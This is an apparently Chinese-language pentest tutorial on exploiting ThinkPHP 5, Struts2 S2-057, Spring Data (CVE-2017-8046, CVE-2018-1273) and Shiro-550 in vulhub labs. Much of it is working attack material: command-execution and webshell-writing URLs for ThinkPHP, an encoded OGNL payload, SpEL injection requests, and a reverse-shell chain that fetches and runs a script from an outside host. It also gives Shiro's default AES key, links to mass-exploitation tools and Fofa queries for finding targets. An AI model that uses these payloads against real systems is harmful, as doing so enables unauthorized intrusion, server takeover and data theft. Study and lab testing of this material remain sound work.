框架
Web框架(Web framework)或者叫做Web应用框架(Web application framework),是用于进行Web开发的一套软件架构。大多数的Web框架提供了一套开发和部署网站的方式。为Web的行为提供了一套支持支持的方法。使用Web框架,很多的业务逻辑外的功能不需要自己再去完善,而是使用框架已有的功能就可以。
一、Thinkphp(TP)
简介
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。 TP(2-6) (5-目前使用率较高的)
Thinkphp5x远程命令执行及getshell
thinkphp5最出名的就是rce
环境配置
靶场:vulhub/thinkphp/5-rcedocker-compose up -d #启动环境
访问靶场:http://ip:8080/index.php
漏洞利用
漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。
远程命令执行
poc:
http://192.168.204.136:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
远程代码执行
POC:
http://192.168.204.136:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
getshell
POC:
http://192.168.204.136:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%22%3C?php%20phpinfo();?%3E%22%20%3E%3E%201.php
二、struts2
简介
Apache Struts 2 最初被称为 WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。
Struts 2 是一个基于MVC设计模式的web应用框架:
MVC:模型(Model)、视图(View)、控制器(Controller):
- 模型 — 属于软件设计模式的底层基础,主要负责数据维护。
- 视图 — 这部分是负责向用户呈现全部或部分数据。
- 控制器 — 通过软件代码控制模型和视图之间的交互。
Struts 2 在2007年7月23日发布的第一个Struts 2漏洞S2-001。
Struts2漏洞是一个远程命令执行漏洞和开放重定向漏洞。利用漏洞,黑客可发起远程攻击,不但可以窃取网站数据信息,甚至还可取得网站服务器控制权。而且,目前针对此漏洞的自动化工具开始出现,攻击者无需具备与漏洞相关的专业知识即可侵入服务器,直接执行命令操作,盗取数据甚至进行毁灭性操作。
OGNL表达式
- OGNL(Object-Graph Navigation Language的简称),struts框架使用OGNL作为默认的表达式语言。
- 它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。
- OGNL是通常需要结合Struts 2的标志一起使用的,主要是#、%、$ z这三个符号的使用:
- :获得contest中的数据;
- %:强制字符串解析成OGNL表达式;
- $:在配置文件中可以使用OGNL表达式。
判断Struts2框架
通过网页后缀来判断,如.do .action,有可能不准。
判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
通过 actionErrors,要求是对应的 Action 需要继承自 ActionSupport 类。
a. 如原始 URL 为 https://threathunter.org/则检测所用的 URL 为https://threathunter.org/?actionErrors=1111;
如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:
1、 页面直接出现 404 或者 500 等错误。
2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。
3、 页面的内容结构发生了明显的改变。
4、 页面发生了重定向。
S2-057远程执行代码漏洞
环境
kali vulhub靶场 /struts2/s2-057
漏洞简介
漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。
S2-057 先决条件:
alwaysSelectFullNamespace 正确 - 操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞。
漏洞利用
访问靶机地址:http://192.168.204.136:8080/struts2-showcase
在url处输入 http://192.168.204.136:8080/struts2-showcase/${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了。
将上面验证payload的值修改为我们的利用exp:
$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D
#Fofa搜索语句
app="Struts2"
三、Spring
简介
Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。
2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL (Spring ExpressionLanguage)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。
因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。SpEL是什么?
SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。SpEL原理如下:
- 表达式:可以认为就是传入的字符串内容;
- 解析器︰将字符串解析为表达式内容;
- 上下文:表达式对象执行的环境;
- 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象。
Spring框架特征
看web应用程序的ico小图标,是一个小绿叶子:
新版的是下面这个:
看报错页面,如果默认报错页面没有修复,那就是长这样:
Spring Data Rest 远程命令执行命令(CVE-2017-8046)
环境
kali vulhub靶场 /spring/CVE-2017-8046
fofa:icon_hash=“116323821” / app=“vmware-SpringBoot-framework”
# 漏洞批量脚本
https://github.com/Tas9er/SpringCloudGatewayRCE
https://github.com/tangxiaofeng7/CVE-2022-22947-Spring-Cloud-Gateway# 漏洞利用脚本
https://github.com/0730Nophone/CVE-2022-22947-# 案例测试地址
http://xxx:9002/
- 访问http://your-ip:8080/customers/1,然后抓取数据包,使用PATCH请求来修改
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value":"vulhub" }]
其中new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success 里面的数字是ascii码成功发送数据包之后,可以进入docker容器内查看是否执行命令
进入docker容器:
docker exec -it 容器id /bin/bash
spring 代码执行 (CVE-2018-1273)
漏洞简介
Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring DataCommons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令。
影响版本
Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10(Ingalls SR10)
Spring Data Commons 2.0 – 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5(Kay SR5)
官方已经不支持的旧版本
漏洞利用
环境
kali vulhub靶场 /spring/CVE-2018-1273
访问靶场地址:http://192.168.204.136:8080/users
填写注册信息,bp抓包:
加上 poc :
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=
进入终端查看,可以看到成功写入:
docker exec -it 容器id /bin/bash
反弹shell
写一个 反弹shell 脚本,并开启http服务:
bash -i >& /dev/tcp/192.168.204.1/8888 0>&1
靶机下载执行 sh 脚本:
/usr/bin/wget -qO /tmp/shell.sh http://192.168.56.132:8000/shell.sh
执行脚本:
/bin/bash /tmp/shell.sh
监听:
nc -lvp 8888
四、Shiro
简介
Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。
Shiro漏洞原理
在Shiro框架下,用户登陆成功后会生成一个经过加密的Cookie。其Cookie的Key的值为RememberMe,Value的值是经过序列化、AES加密和Base64编码后得到的结果。
服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:
- 检索RememberMe Cookie的值
- 进行Base64解码
- 进行AES解码
- 进行反序列化操作
在第4步中的调用反序列化时未进行任何过滤,进而可以导致出发远程代码执行漏洞。
由于使用了AES加密,成功利用该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,于是就可得到Payload的构造流程:
恶意命令–>序列化–>AES加密–>base64编码–>发送Cookie
目前官方通过去掉硬编码的密钥是的每次生成一个密钥来解决其漏洞,但可以通过搜索引擎等方式收集到不同的密钥,提高对该漏洞的利用成功率。
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录时点击记住密码登录时,数据包会先经过base64加密,在经过aes加密生成一个cookie,12.4以下版本密钥相对固定,只要进行简单的爆破,就可以找到AES加密的秘钥。攻击者只要对rememberMe的cookie值先base64解码、AES解密再反序列化,就可以执行任意命令。
Shiro漏洞指纹
响应包中存在字段set-Cookie: rememberMe=deleteMe
Shiro rememberMe反序列化漏洞(Shiro-550)
漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很
容易就知道密钥了,Payload构造起来也是十分的简单。
影响版本
Apache Shiro < 1.2.4
环境
kali vulhub靶场 /shiro/CVE-2016-4437
验证Shiro框架
使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架:
Burp Shiro 漏洞检测插件
BurpShiroPassiveScan:
https://github.com/pmiaowu/BurpShiroPassiveScan/releases/tag/BurpShiroPassiveScan-1.7.6
在BurpSuite的扩展(Extend)中安装并启动Shiro检测插件。
当BurpSuite抓取到Shiro的数据包时会自动进行检测Key,当发现存在Shiro默认key时会有相应的告警:
命令执行
利用工具,命令执行:
shiro_attack工具:https://github.com/j1anFen/shiro_attack
反弹shell
工具:https://github.com/feihong-cs/ShiroExploit-Deprecated
有这个也表示有漏洞:
反弹shell,开启nc监听: